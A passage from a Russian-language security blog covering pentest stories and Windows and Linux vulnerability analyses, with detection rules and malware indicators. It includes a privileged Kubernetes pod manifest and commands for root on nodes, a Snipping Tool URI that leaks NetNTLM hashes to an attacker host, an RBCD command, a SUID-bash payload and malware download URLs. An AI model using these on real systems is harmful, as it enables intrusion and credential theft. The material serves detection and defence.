В Windows 11 версии 24H2 и Windows Server 2025 добавлены новая политика и события аудита NTLM. Расширенный аудит поддерживает улучшенный мониторинг безопасности и идентификацию устаревших зависимостей проверки подлинности NTLM.

Ранее в новых ОС Windows при установке с нуля стали по умолчанию включать различные методы защиты от релей-атак, такие как EPA, SMB signing и LDAP-channel binding. Тем не менее, при апгрейде со старых версий ОС настройки будут оставаться прежние, и атаки будут работать.

Поэтому обращаем внимание на новые события:

— 4020 (Informational)
— 4021 (Warning) "This machine attempted to authenticate to a remote resource via NTLM”
— 4022 (Informational)
— 4023 (Warning) “A remote client is using NTLM to authenticate to this workstation”

Эти события можно использовать для детектирования coercing-атак либо для анализа  нетипичных  настроек NTLM-аутентификации.

На скриншоте выше — как раз пример coercing-атаки: цепочка событий 4023 и 4021 с одного IP-адреса атакующего.

Мы уже рассказывали, как наши пентестеры находят и анализируют кластеры Kubernetes. А сегодня — история о том, какие интересные доступы можно получить через такие кластеры.

На одном из проектов после попадания во внутреннюю сеть мы обнаружили хост, у которого для сервиса на порту 443/TCP используется сертификат с common name: system:kube-apiserver. Похоже, это нода кластера Kubernetes c Kubernetes API?

К нашему удивлению, API было доступно без аутентификации (проверяли только GET-запросы). Мы смогли получить данные о неймспейсах, подах и, что самое интересное, секретах. Сделали вывод, что это тестовый кластер Kubernetes. Но мы решили, что он все равно достоин внимания:

proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secrets

Из секретов мы получили токены 31 сервисной учётной записи (да, без аутентификации). Изучили привилегии этих учёток (объекты clusterrolebinding и clusterrole) и обнаружили, что с их использованием можно выполнять любые действия по управлению кластером, включая изменение ролей сервисных учетных записей, создание подов и исполнение команд в подах.

Чтобы получить возможность исполнения команд на ноде, создали под с такой конфигурацией (контейнеры в кластере использовали образы из локального docker registry, так что в конфигурации мы указали один из используемых образов):

apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: null
  labels:
    run: <my-pod>
  name: <my-pod>
spec:
  volumes:
  - name: host-filesystem
    hostPath:
      path: /
  containers:
  - command:
    - sleep
    - 2d
    image: <link_to_image>
    name: <my-pod>
    volumeMounts:
    - mountPath: /mnt/
      name: host-filesystem
    resources: {}
    securityContext:
      privileged: true
      runAsUser: 0
  dnsPolicy: ClusterFirst
  restartPolicy: Always
  nodeName: <node_name>
  hostNetwork: true
  hostPID: true
  hostIPC: true
status: {}

Команда для создания пода:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>

После создания пода запустили bash и изменили корневую директорию на корневую директорию ноды:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash

chroot /mnt

Так мы получили рутовый доступ на ноде (для закрепления можно было положить ключ в authorized_keys). В кластере было четыре ноды, поэтому было создано четыре пода с разными nodeName для исполнения на каждой ноде.

После получения привилегированного доступа на одной из нод в файле /opt/some-service/config.yaml была обнаружена ссылка на файл в репозитории:

https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.java

А в директории /home/some-user/.ssh/ был обнаружен файл с приватным SSH-ключом identity.bitbucket.domain.local. Мы склонировали этот репозиторий и поискали в нем упоминания других. Нашлось 89 репозиториев.

git clone ssh://git@bitbucket.domain.local/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-back

К тем репозиториям, что мы пробовали склонировать, удалось получить доступ с помощью обнаруженного ключа. Предполагаем, что далее мы могли бы найти больше репозиториев с исходным кодом приложений заказчика, и ко всем получили бы доступ с этим ключом.

Выводы:

Для команды красных: даже если вы понимаете, что попали в тестовую среду, не бросайте хост, осмотритесь. Может, найдете что-то полезное или расширите сетевой доступ.

Для команды синих: не забывайте про тестовые среды, их тоже нужно защищать.

Для всех: даже если вы думаете, что что-то невозможно (например, получение секретов из Kubernetes API без аутентификации) — стоит проверить. Вдруг оно сработает именно в этот раз.

Snipping Tool, или просто "Ножницы" — популярный инструмент Windows для работы со скриншотами. Но благодаря появлению PoC к уязвимости CVE-2026-33829, этот же инструмент позволяет похищать NetNTLM-хэши пользователей. Правда, для этого всё ещё нужен клик жертвы.

Суть атаки:

Приложение регистрирует кастомную URI-схему ms-screensketch. Она нужна, чтобы из браузера или другого приложения открыть скриншот на редактирование. Проблема в параметре filePath. Если указать там путь до сетевого ресурса, например \\attacker\share\img.png, то Snipping Tool попытается сделать запрос к удаленному каталогу. А заодно отправит NetNTLM-хэш текущего пользователя на сервер атакующего.

Выглядит это примерно так:

ms-screensketch:edit?&filePath=\\192.168.100.10\snip\Imgur.png&isTemporary=false&saved=true&source=Toast

Теперь достаточно заманить пользователя на страницу с таким iframe или редиректом. Когда жертва соглашается с открытием картинки через Snipping Tool, открывается знакомый инструмент для обрезки картинок. А в фоне в это время утекает NetNTLM-хэш.

При этом утечка происходит не только на внутренние адреса, но и на внешние. А также не только через SMB, но и через WebDAV (см. скриншоты выше). Это делает сценарий атаки заметно гибче. В инфраструктурах, где SMB на публичные адреса фильтруется, WebDAV вполне может пройти через прокси или разрешённые HTTP-маршруты.

Как детектить:

Отличительной особенностью здесь будет выступать запуск SnippingTool.exe c параметром filePath, который начинается с двойного обратного слэша \\ или с его URL-кодированной версии %5C%5C:

"C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2502.18.0_x64__8wekyb3d8bbwe\SnippingTool\SnippingTool.exe" ms-screensketch:edit?&filePath=%5C%5C192.168.100.10%5Csnip%5CImgur.png&isTemporary=false&saved=true&source=Toast

Также триггером могут стать исходящие SMB-запросы (445 порт) с хоста на внешние IP или на внутренние узлы, не являющиеся файловыми серверами домена.

Как защищаться:

Патч KB из апрельского апдейта Windows уже закрывает дыру. Если по какой-то причине обновить конкретную машину прямо сейчас нельзя, то есть смысл заблокировать схему ms-screensketch через GPO.

В качестве общих рекомендаций стоит упомянуть, что большинство приложений для взаимодействия с WebDAV-серверами используют системный сервис WebClient. Поэтому стоит обращать внимание на внешние соединения, инициированные через C:\WINDOWS\system32\svchost.exe -k LocalService -p -s WebClient, содержащие в user-agent параметр Microsoft-WebDAV-MiniRedir/* и метод обращения PROPFIND. Однако этот индикатор может быть шумным.

Также стоит рассмотреть возможность ограничения исходящего NTLM-трафика политикой: Computer Configuration > Administrative Templates > System > Net Logon > Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers.

Сегодня расскажем ещё одну поучительную историю из практики наших пентестов.

Однажды на проекте мы сами себе создали задачу: у нас было RCE от SYSTEM на контроллере домена, но мы не хотели создавать новые учетные записи или добавлять существующие в администраторы домена. А получить привилегии админа было нужно. Мы придумали несколько решений, и хотя не все они сработали, это был интересный опыт.

Условия задачи:

— Есть исполнение на доменном хосте от SYSTEM и NT-хеш пароля этого хоста.
— Есть привилегии администратора домена в корневом домене в другом лесу AD (двухстороние трасты).
— Есть RCE на контроллере домена (уязвимость в Veritas Backup Exec Agent). Не очень удобно исполнять команды (нет вывода), но можно читать и записывать файлы, запись через экплойт очень медленная.
— Есть возможность подключения по SSH на linux-хост (без root-а).
— Настрой на то, что чем меньше изменений и чем меньше придется чистить затем заказчику, тем лучше.

Варианты решения:

1. Запустить агента Mythic

— c SYSVOL на контроллере домена в другом лесу. Результат: ошибка Access Denied.
— загрузить файл с агентом Mythic через эксплойт. Результат: запустить удалось, но правила файрвола не позволили установить ни bind, ни реверс-соединение.

2. Получить сертификат

— выгрузить сертификат с приватным ключом из хранилища (командлеты Get-ChildItem -Path Cert:\CurrentUser\My\ для получения списка и Export-PfxCertificate для экспорта). Результат: не было сертификатов, для которых разрешен экспорт приватного ключа.
— запросить новый сертификат. Результат: проанализировали шаблоны сертификатов и не нашли такого, чтобы контроллер мог запросить сертификат, использовать его для аутентификации и с возможностью экспорта приватного ключа.

3. Unconstrained delegation

Так как уже были привилегии админа домена в другом лесу, а для контроллеров домена настроено неограниченное делегирование, можно было бы попробовать. Но в trustAttributes не было флага, разрешающего делегирование. Так что даже не пробовали.

4. Прочитать пароль LAPS

Некоторые учетные записи компьютеров имели много привилегий (например, Exchange-сервера или центр сертификации) и получение привилегий админов на этих хостах могло бы помочь продвинуться дальше. Но модули с командлетами Get-LapsADPassword и Get-AdmPwdPassword не были установлены.

5. Релеи

Это была скоре абстрактная идея. Linux-хостов с root-ом не было, и освобождать 445 порт на доменном хосте не хотелось. А служба WebClient для коерса на другой порт на контроллере не была установлена. Кроме того, на LDAP требовалась подпись, а шаблонов сертификатов, подходящих для ESC8, не было.

6. Сохранить учетные данные из реестра

С помощью reg save или Silent Harvester можно было получить учетные данные из реестра. Получили бы NT-хеш контроллера домена и могли бы сделать DCSync. Но пришлось бы сохранять файлы в SYSVOL, чтобы получить к ним доступ с имеющейся учеткой.

7. Resource-based Constrained Delegation

Так как у нас была скомпрометированная учетная запись хоста (её NT-хеш), удалось провести атаку на ограниченное делегирование на основе ресурсов. Модифицировать msDS-AllowedToActOnBehalfOfOtherIdentity учетной записи контроллера:

Set-ADComputer -Identity DC_Name -Properties PrincipalsAllowedToDelegateToAccount owned$

И затем сгенерировать TGS с имперсонацией учетной записи администратора домена или другого контроллера домена. Результат: успех.

8. Rubeus и т.п.

Можно было бы загрузить на контроллер Rubeus или другие утилиты для дампа Kerberos-билетов, но после проверки идеи (1) мы поняли, что загрузить файл будет непросто.

Мораль:
Даже очень простая (на первый взгляд) задача "от RCE на контроллере до администратора домена" может иметь множество решений, если не пойти по первому пришедшему на ум пути.

Microsoft Configuration Manager (SCCM) — это не просто инструмент установки обновлений. Это платформа управления информационной инфраструктурой предприятия в самом широком смысле: здесь и хранилище учётных данных, и возможность централизованного исполнения кода на тысячах устройств одновременно.

Поэтому, будучи взят под контроль злоумышленниками, SCCM превращается в настоящий C2 для дальнейших атак на инфраструктуру. При этом повышение привилегий на SCCM зачастую не ловится традиционным средствами защиты от вредоносного ПО.

Например, логическая уязвимость CVE-2025-47179 позволяет получить полный контроль над SCCM, не используя переполнения буфера, инъекции или обхода аутентификации. SCCM в этом случае работает строго по правилам, которые в него заложили. Просто задокументированное назначение роли и её фактические полномочия противоречат друг другу.

Наши эксперты предлагают выявлять такие атаки с помощью инструмента SCCMInfo, который реализует мониторинг SCCM-сервера через подписку на события WMI. В частности, при эксплуатации уязвимости CVE-2025-47179 инструмент покажет такие события, как создание неизвестным пользователем с ограниченной ролью (CMPivot Administrator) новой записи об административном пользователе и назначение ему роли Full Administrator.

Утилита SCCMInfo отслеживает и несколько других классов WMI-событий, которые могут быть признаками атаки, хотя выглядят как легитимное действие в рамках штатной работы SCCM — поэтому такие атаки не детектируются традиционными средствами защиты.

Подробности — в статье Александра Родченко и Глеба Иванова "Ролевые игры: когда SCCM превращается в С2".

На днях наши эксперты поучаствовали в одной скромной, зато очень неформальной ИБ-конференции под названием ЁPRSTCON.

Основной темой выступлений технического трека стали проблемы информационной безопасности в эпоху всеобщего помешательства на AI. Но были доклады и на другие интересные темы. Например, о том,

— почему до сих пор можно делать RCE через умерший IE,
— откуда в RDP-логах мистический артефакт ::%16777216,
— зачем нужно писать собственный сканер уязвимостей,
— как устроены хакерские сообщества в разных странах,
— как реверсить микроконтроллеры AVR.

Поддерживая дух этой неформальной тусовки, мы не будем назвать имена крутых докладчиков и их компании, а просто дадим вам главную ссылку — где можно посмотреть видеозаписи всех технических докладов, с текстовыми транскриптами и слайдами:

https://www.yoprstcon.ru/articles_manual_locB_html/

А ещё на конференции был гуманитарный трек — там рассказывали, как искусственный интеллект вытесняет музыкантов и писателей, какие психозы возникают от долгого общения с LLM-агентами, и каким методам родительской заботы можно поучиться у африканских лягушек. Записи гуманитарных докладов здесь:
https://www.yoprstcon.ru/articles_manual_locA_html/

Одна из главных тем в ИБ-новостях последних дней — противостояние корпорации Microsoft и анонимного исследователя Nightmare Eclipse, который за два месяца опубликовал уже шесть серьёзных эксплойтов для Windows. Самый неприятный из них — MiniPlasma — с апреля используется в реальных атаках. Официального патча пока нет.

Как это работает:

Эксплоит основан на CVE-2020-17103 — уязвимости локального повышения привилегий в драйвере Windows Cloud Files Mini Filter Driver (cldflt.sys). Уязвимость была обнаружена ещё в 2020 году, и считалась уже закрытой. Однако Nightmare Eclipse показал, что она работает до сих пор, позволяя локальному пользователю поднять права до SYSTEM.

cldflt.sys — это системный драйвер, который реализует Cloud Files API (CFAPI) и используется для работы placeholder-файлов и механизмов синхронизации, включая OneDrive Files On-Demand.

Для взаимодействия с драйвером эксплойт использует недокументированный API CfAbortHydration, предназначенный для прерывания проверки облачного файла. Этот API, в свою очередь, вызывает внутреннюю функцию драйвера cldflt!HsmOsBlockPlaceholderAccess, которая по своей логике должна блокировать доступ к облачному файлу путём создания соответствующего служебного ключа в реестре.

Функция HsmOsBlockPlaceholderAccess выполняется в контексте привилегированного драйвера, но не проверяет, имеет ли вызывающий процесс права на запись в целевую ветку реестра. В результате эксплойт получает возможность создать произвольный ключ реестра в системной области HKEY_USERS\.DEFAULT, куда обычный пользователь не имеет доступа на запись.

MiniPlasma создаёт в ветке HKU\.DEFAULT\Software\Policies\Microsoft\CloudFiles\BlockedApps не обычный ключ, а символическую ссылку (registry symbolic link). Эта ссылка перенаправляет на другую область реестра — \Registry\User\.DEFAULT\Volatile Environment, которая содержит временные переменные окружения для системного профиля.

Через созданную символическую ссылку эксплойт изменяет значение переменной windir в Volatile Environment с C:\Windows на путь, контролируемый атакующим, например C:\Users\Public\FakeSystem (текущая директория + system32\wermgr.exe). В указанную атакующим директорию предварительно помещается поддельный исполняемый файл wermgr.exe.

Далее эксплойт обращается к планировщику задач Windows и активирует встроенную задачу \Microsoft\Windows\Windows Error Reporting\QueueReporting. Эта задача настроена на запуск с правами SYSTEM и по умолчанию выполняет команду %windir%\system32\wermgr.exe.

Благодаря ранее изменённой переменной windir система подставляет подконтрольный атакующему путь, и вместо легитимного системного файла запускается поддельный wermgr.exe — но уже с привилегиями NT AUTHORITY\SYSTEM (см. скриншот выше).

Как детектировать атаку:

1. Отслеживайте создание SymbolLinks в ветке HKU\.DEFAULT\Software\Policies\Microsoft\CloudFiles\BlockedApps:

 category: registry_set 
    product: windows 
detection: 
    selection: 
        TargetObject|contains: 'Policies\Microsoft\CloudFiles\BlockedApps' 
        Details: 'SymbolicLinkValue' 
    condition: selection 

2. Отслеживайте появление wermgr.exe вне стандартных путей:

category: process_creation 
    product: windows 
detection: 
    selection: 
        TargetFilename|endswith: '\wermgr.exe' 
    filter_system_locations: 
        TargetFilename|startswith: 
            - 'C:\Windows\System32\' 
            - 'C:\Windows\SysWOW64\' 
            - 'C:\Windows\WinSxS\' 
            - 'C:\Windows\servicing\' 
            - 'C:\$WINDOWS.~BT\' 
            - 'C:\Windows\SoftwareDistribution\' 
    condition: selection and not filter_system_locations 

3. Отслеживайте запуск системных бинарников или их имитаций из нестандартных директорий.

4. Данный PoC использует библиотеку .NET NtApiDotNet исcледователя James Forshaw для работы с реестровыми Native API, что также является индикатором.

Pack2TheRoot (CVE-2026-41651) — локальное повышение привилегий в Linux-системах через TOCTOU-уязвимость в сервисе PackageKit. Этот сервис предоставляет унифицированный интерфейс для установки и удаления пакетов через D-Bus и выступает прослойкой между пользовательскими приложениями и пакетным менеджером дистрибутива (APT, RPM и др.). Все операции выполняются привилегированным сервисом packagekitd от имени root.

Для взаимодействия с PackageKit эксплойт использует D-Bus API библиотеки GLib, в частности метод InstallFiles(), предназначенный для установки локальных deb/rpm-пакетов. Метод принимает набор флагов транзакции, определяющих её поведение. Часть флагов считается безопасной и может использоваться без полноценной авторизации. Например, флаг simulate выполняет только проверку зависимостей и не приводит к фактической установке ПО.

Уязвимость связана с обработкой уже созданной транзакции. После первоначальной проверки безопасности PackageKit помечает транзакцию как безопасную, однако при последующем изменении её параметров повторная проверка не выполняется. Это создаёт TOCTOU condition: транзакция, созданная с флагом simulate, может быть изменена на полноценную установку пакета с флагом none, при этом PackageKit считает авторизацию уже пройденной.

PoC создаёт два локальных пакета: dummy-пакет и payload-пакет. Первый используется для прохождения проверки безопасности в режиме simulate. Второй содержит postinst payload, выполняемый в контексте packagekitd. В опубликованном PoC используется команда

install -m 4755 /bin/bash /tmp/.suid_bash 

которая создаёт SUID-копию bash. После этого атакующий может получить root-доступ через запуск bash с аргументом -p.

Для эксплутации необходимо создать две транзакции через g_dbus_connection_call(). Первая вызывает InstallFiles() для dummy-пакета с флагом simulate, который выглядит как g_variant_new("(u^as)", 4, ...). Вторая сразу переиспользует тот же объект транзакции, подменяя пакет на payload и устанавливая флаг полноценной установки: g_variant_new("(u^as)", 0, ...). После вызова g_dbus_connection_flush_sync() обе операции попадают в очередь обработки почти одновременно.

В результате PackageKit выполняет установку второго пакета от имени root, несмотря на то, что авторизация была получена только для безопасной операции. Backend пакетного менеджера (dpkg/rpm) запускает postinst/preinst-скрипты payload-пакета с привилегиями root.

В Debian/Ubuntu это выглядит как:

/bin/sh /var/lib/dpkg/info/<package>.postinst configure 

В RPM-системах:

/bin/sh /var/tmp/rpm-tmp.* 

Постэксплуатация зависит от содержимого скрипта установки. Помимо создания SUID-shell могут использоваться: модификация /etc/shadow, добавление SSH-ключей, создание systemd unit-файлов, изменение PAM-конфигурации и другие механизмы закрепления.

Как защищаться:

Если нет возможности обновить PackageKit до пропатченной версии, детектируйте атаку по обращениям к PackageKit/GLib API или по цепочке процессов пакетного менеджера.

Для Debian-based систем индикатором может быть запуск postinst/preinst-скриптов из /var/lib/dpkg/info/ с последующим вызовом chmod или install, выставляющими SUID/SGID-биты.

Для RPM-based систем аналогичным индикатором является запуск временных скриптов /var/tmp/rpm-tmp.*.

Также полезно отслеживать инициаторов обращений к dpkg/rpm. Подозрительной может быть активность процессов dpkg-deb и rpmbuild, запущенных не через стандартные средства управления пакетами (apt, apt-get, dpkg, rpm, dnf, yum, zypper, mock, koji).

Дополнительным IoC могут выступать журнальные записи PackageKit о неуспешной аутентификации, возникающие в процессе эксплуатации уязвимости:

 
May 23 13:00:00 hostname PackageKit[PID]: uid 1000 is trying to obtain org.freedesktop.packagekit.package-install-untrusted auth (only_trusted:0) 

May 23 13:00:01 hostname  PackageKit[PID]: uid 1000 failed to obtain auth

Техника подмены Network Provider DLL (T1556.008) используется злоумышленниками уже много лет, но до сих пор не потеряла актуальности. Совсем недавно, в мае этого года, команда Microsoft Incident Response опубликовала расследование инцидента, в котором атакующие применяли эту технику для кражи учётных данных; при этом использование легитимного ПО позволяло им долгое время оставаться незамеченными.

Суть атаки:

Network Provider DLL — это динамическая библиотека в Windows, которая позволяет ОС взаимодействовать с конкретными сетевыми протоколами. Она реализует набор функций (Network Provider API), которые использует Multiple Provider Router (MPR) для связи с разными сетями.

Компоненты данного типа автоматически загружаются при входе пользователя в систему и участвуют в процессах сетевой аутентификации, восстановления сетевых ресурсов и обработки учетных данных, что делает механизм привлекательным для persistence.

Злоумышленники могут зарегистрировать вредоносный Network Provider DLL, модифицировав ключ реестра:

HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order 

Параметр ProviderOrder не хранит путь к DLL и не содержит информацию о модуле — он представляет собой только список имён провайдеров, которые Windows должна инициализировать через механизм MPR. Например:

ProviderOrder = LanmanWorkstation,RDPNP,webclient,EvilProvider 

В этом случае Windows будет воспринимать EvilProvider как нового провайдера и попытается найти его описание:

HKLM\SYSTEM\CurrentControlSet\Services\EvilProvider\NetworkProvider 

Из данного раздела система получает путь к библиотеке через параметр ProviderPath. Например:

ProviderPath = C:\ProgramData\evilprov.dll

После регистрации Windows начинает обращаться к этой DLL как к обычному провайдеру и автоматически загружает эту библиотеку при входе пользователя. При этом Windows не проверяет, является ли провайдер системным: механизм загружает все компоненты, перечисленные в ProviderOrder.

Как ловить атаку:

Детектируем изменения в ProviderOrder или создание ProviderPath для любого Network Provider, кроме штатных (LanmanWorkstation, RDPNP, webclient). Пример правила детектирования:

logsource:
   product: windows
      category: registry_event

detection:
  Selection_order:
    TargetObject|contains:
      - '\Control\NetworkProvider\Order\ProviderOrder'

    selection_provider:
      TargetObject|contains:
         -  '\Services\'
         - '\NetworkProvider'
         - '\ProviderPath'

    filter_main_system:
       Details|contains:
         - 'LanmanWorkstation'
         - 'RDPNP'
         - 'webclient'

 condition: (selection_order or selection_provider) and not filter_main_system

Наши эксперты заметили, что с начала 2026 года группировка VasyGrek (Fluffy Wolf) расширила географию своих жертв — теперь она атакует не только российские организации. Обновился и арсенал: в новых атаках засветились .vbs- и .com- дропперы, а также .com-стилер, написанный на Rust.

Атака VasyGrek обычно начинается с письма, содержащего вредоносный файл либо ссылку. Дальше реализуется цепочка заражения в двух вариантах:

1) Обфусцированный .vbs/.bat-дроппер проверяет имя хоста, а затем скрытно запускает закодированный в Base64 вредоносный PowerShell-скрипт. Тот скачивает нагрузку с легитимных хостингов (pastefy.app, yaso.su, Supabase Storage), загружает .NET-сборку в память и внедряет её в доверенный системный процесс RegAsm.exe — без записи на диск.

2) Написанный на Rust .scr/.com-дроппер бэкдора PureRAT. При установке копирует себя в каталоги %APPDATA% либо %LOCALAPPDATA% и закрепляется в автозагрузке через реестр посредством модификации ветки HKCU\..\Run\ либо через планировщик задач (с использованием утилиты schtasks.exe либо командлета PowerShell Register-ScheduledTask). После закрепления бэкдор связывается с C2 для получения дальнейших инструкций (например, сбор конфиденциальных данных).

Как ловить атаку

Рекомендуем использовать индикаторы компрометации, которые перечислены ниже.

Архивы:

f681a2e311d2a0063a76c6af38082d01 doc_10022026_buh_1c.rar
f1298bcd8a7537be8c9a63a0df264b5c doc_23012026_1c_scan.rar
8130ad8c9b9c1022c7e966d4bde76b4f doc_03_02_2026_buh.rar
11d7b50333c37b7d6e7ccf373ba77505 doc_1c_buh5gr6gss3s3fv.rar
1511effebb7df8a2e5b3a741b106b59a акт сверки.rar
96b685a02c9bdaac285db9fe2b53a2d6 akt_sverki_1c.rar
611522aec29be78d9dafa4b59bf05a20 doc_05032026.rar

.bat-дропперы:

ccff0d0751956a32a5a2fbf13d3aeca0 1C_Doc_kopiya_6rf56rwergsw3frefrsw3_PDF.bat
4af7f1f3cbbef1a1313077d336399245 akt_sverki_04022026_buh_5fegrf6dsfvsffwffs_pdf.bat
9c67e8b55cb0f31270201efdb253ca8f doc_28012026_buh_ff56fdfdf6dfdfd_pdf.bat
7b82065f2017d60e6bfc1f0ed17cd2f9 doc_23012026_skrinshot_1C.bat
f228557b220276a5970246192991b315 aktsverki_1c_buh_pdf.bat

.vbs-дропперы:

11d7b50333c37b7d6e7ccf373ba77505 doc_1c_buh5gr6gss3s3f

.scr-дропперы на RUST:

c1d5a11476ccfeb6a6c2a8de41241d4c buh_1c_10022026_akt_sverki_ferr6rr66fe6efe6fef.scr
3d8fc69b17562108653a6d479cdc0278 doc_23012026_1c_scan.scr
d5732efd1103b6d3990a0bd865d7580d 17.03.2026_doc_pdf.scr
4d8e11ce449a8f51a7007da24f9c5eea doc_05032026_1C_buhrg56svr6v2r66sfsf3sf_PDF.scr

.com-дропперы на RUST:

c9e1f8b2d3e61bbda7d514a38f668c72 платежное поручение от 19.03.2026_pdf.com
48e6c3762469c0111a246c8d88b9b9b8 doc_buh_1C_akt_sverki_06032026_PDF.com
02baba775abf19be98776a86cb746eb2 doc_05032026_1C_akt_sverki_PDF.com

.com-стилер на RUST:

c0d909ecd9fdd83c14e4067654c42d8b akt_sverki_1c_buh_ef4ef6r6gege5gsfeergerge.com`

Domains:

supabase[.]co
modaaura[.]store

URLs:

pastefy[.]app/RoBl0TEe/raw
pastefy[.]app/3ocDEoXR/raw
pastefy[.]app/sLC7Jpkp/raw
yaso[.]su/raw/NNLwEwCU
modaaura[.]store/image.jpg?12711343
pixeldrain[.]com/api/file/Wm3ZnAJr
tzqfbgbyyatqtmhbqbzw.supabase[.]co/storage/v1/object/public/17032026/VC17032026upload.txt
wkhayejmdnobpaoaeim.supabase[.]co/storage/1/object/public/hfgfjjj/image.jpg?12711343
qruqdtwlkhwaztnfrkbq.supabase[.]co/storage/v1/object/public/26012026/stl26012026upload.txt
firebasestorage.googleapis[.]com/v0/b/remasd-6c702.firebasestorage.app/o/image.jpg?al=media&token=20664d8b-9f51-4fc0-8439-3cca14ea7fc4
firebasestorage.googleapis[.]com/v0/b/remasd-6c702.firebasestorage.app/o/image.jpg?alt=media&token=b9d8bf3e-b1eb-4c56-9434-d4af570d4a91
raw.githubusercontent[.]com/sergo20261/proxihost/refs/heads/main/stl28012026upload.txt
au72nuxzv2.ufs[.]sh/f/4LhV5B1sDCwIrgzpCwYKXE4gwWVSzU8Dck1rs5tJYqhnmpx6
raw.githubusercontent[.]com/novichkova0976/buhgalteriya/refs/heads/main/akt_sverki_06032026.rar

Сегодня снова поговорим про атаку NTLM Reflection на основе уязвимости CVE-2025-33073, которая позволяет удалённому пользователю без авторизации выполнять на атакованной машине любые команды с привилегиями SYSTEM. Однажды мы уже рассказывали, как детектировать подобные атаки. А теперь покажем, как можно использовать один частный случай такой атаки в пентестах.

Обычно все Relay-атаки связаны только с хостами и сервисами в домене Active Directory. Ведь если хост не в домене, то у него нет учетных данных, а пользователи — локальные. При попытке coerce-атаки в Responder мы не увидим ничего, а в ntlmrelayx.py — сообщение вроде:

Authenticating against smb://172.16.128.143 as / FAILED

Но ситуация на одном недавнем проекте по анализу защищённости подтолкнула нас к мысли, что NTLM Reflection может быть способом скомпрометировать недоменный Windows-хост при определенных условиях:

1. Не установлен патч, закрывающий эту уязвимость.

2. Не требуется обязательная подпись SMB.

3. Есть возможность добавить или заспуфить необходимую для атаки DNS-запись (например, localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA). Зачастую в качестве DNS-серверов во всей инфраструктуре используются контроллеры домена. По умолчанию, имея любую учетную запись, можно добавить нужную A-запись. Если же хост атакующего находится в одном L2-сегменте сети с уязвимым хостом, то можно попробовать LLMNR/NBNS/mDNS spoofing (как на скриншоте выше), атаку на IPv6 с подменой DNS.

4. Возможность стригерить аутентификацию от имени системы. Например, есть анонимный PetitPotam или есть непривилегированная учетная запись.

Хоть условий и много, они выполнимы — и в этом случае NTLM Reflection может помочь получить доступ к хосту вне домена.

В конце 2024 года мы опубликовали топ-5 самых популярных ошибок при реагировании на инциденты. Третьим номером там стояло «поспешное восстановление из бэкапов» — если резервная копия была заражена, при восстановлении вы рискуете повторить инцидент (например, вас снова зашифруют).

Теперь у нас есть некоторые цифры, чтобы подтвердить популярность этой ошибки — поскольку эксперты нашего сервиса по оценке компрометации (Compromise Assessment) подготовили аналитический отчёт о пропущенных инцидентах, которые выявлены в 2025 году после обращений в этот сервис.

Одна из самых частых угроз, найденных таким способом — это скрытые веб-шеллы: они встречались в 8% проектов по оценке компрометации. При этом 64% инцидентов с веб-шеллами были отнесены к категории высокой критичности.

А закрепление веб-шеллов в системе часто происходит через бэкапы: согласно отчёту, 60% веб-шеллов было обнаружено в активных системах, а 40% находились в резервных копиях и оставались незамеченными до проведения полноценной проверки.

Распространенная проблема, помогающая скрывать угрозу — недочеты в инвентаризации активов (найдено в 25% проектов). Злоумышленники могут внедрять веб-шеллы на облачные серверы, которые не отражаются в инвентарных списках, но при этом с них регулярно делаются резервные копии. Веб-шелл может длительное время оставаться на таком сервере, и даже если он будет в какой-то момент удален, сервер резервного копирования позднее восстановит зараженные файлы.

В одном случае веб-шелл был скрыт на внутреннем файловом сервере внутри RAR-архива по следующему пути:

D:\backup\[СКРЫТО].rar/wwwroot/<…>/[СКРЫТО].aspx

В ходе расследования админы сервера сообщили, что папка была скопирована с другого сервера, который был отключен на момент проведения проверки. Из-за неполной инвентаризации активов штатная команда безопасности не обнаружила заражение отключенной машины, а после выполнения процедур резервного копирования веб-шелл оказался на внутреннем файловом сервере.

Криминалистический анализ отключенного сервера показал, что злоумышленникам удалось внедрить бэкдор на большинстве Windows-серверов в этой организации, настроив на них учетные записи локального администратора с одинаковым паролем. С помощью утилиты PsExec злоумышленники выполнили CMD-скрипт, который на всех этих серверах изменял пароль учетной записи локального админа на свой (см. скриншот выше).

Другие примеры незаметных инцидентов, а также рекомендации по их выявлению и предотвращению, будут представлены на вебинаре Missed Incidents: Compromise Assessment Insights, который проведут наши эксперты Виктор Сергеев и Амжед Ваги 2 июля в 17 часов МСК на платформе Brighttalk:
https://www.brighttalk.com/webcast/15591/669960

Злоумышленники, атакующие Linux-системы, часто используют "бесфайловое" выполнение, чтобы избежать загрузки вредоносного ПО на диск. Это помогает обойти традиционные системы детектирования и механизмы безопасности, а также оставляет значительно меньше следов для форензики.

Системный вызов memfd_create() играет важную роль в таких атаках. Этот механизм, появившийся в ядре Linux 3.17, предназначен для создания анонимных файлов, которые существуют только в оперативной памяти. Согласно руководству memfd_create(2), эти файлы ведут себя как обычные файлы — у них есть размер и отображение в памяти, их можно изменять — но они не сохраняются на физическом носителе. Вызов memfd_create() возвращает файловый дескриптор, который может быть использован вызовом fexecve(3) — это позволяет процессу выполнять бинарный файл через файловый дескриптор (FD), в отличие от вызова execve(2), где в качестве аргумента требуется путь в реальной файловой системе.

Типичная цепочка эксплуатации этого механизма состоит из трёх этапов:

1. Загрузчик вызывает memfd_create(name, flags), этот вызов возвращает файловый дескриптор. Имя (name) здесь нужно только для отладки, оно не появляется в дереве каталогов.

2. Загрузчик записывает вредоносную нагрузку (часто полученную по сети) в этот FD.

3. Загрузчик вызывает fexecve(fd, argv, envp). Ядро заменяет текущий образ процесса бинарным файлом, хранящимся в анонимном сегменте памяти.

Такой подход гарантирует, что вредоносная нагрузка не попадает на диск, и таким образом она обходит:

— системы детектирования на основе сигнатур, которые сканируют диск;
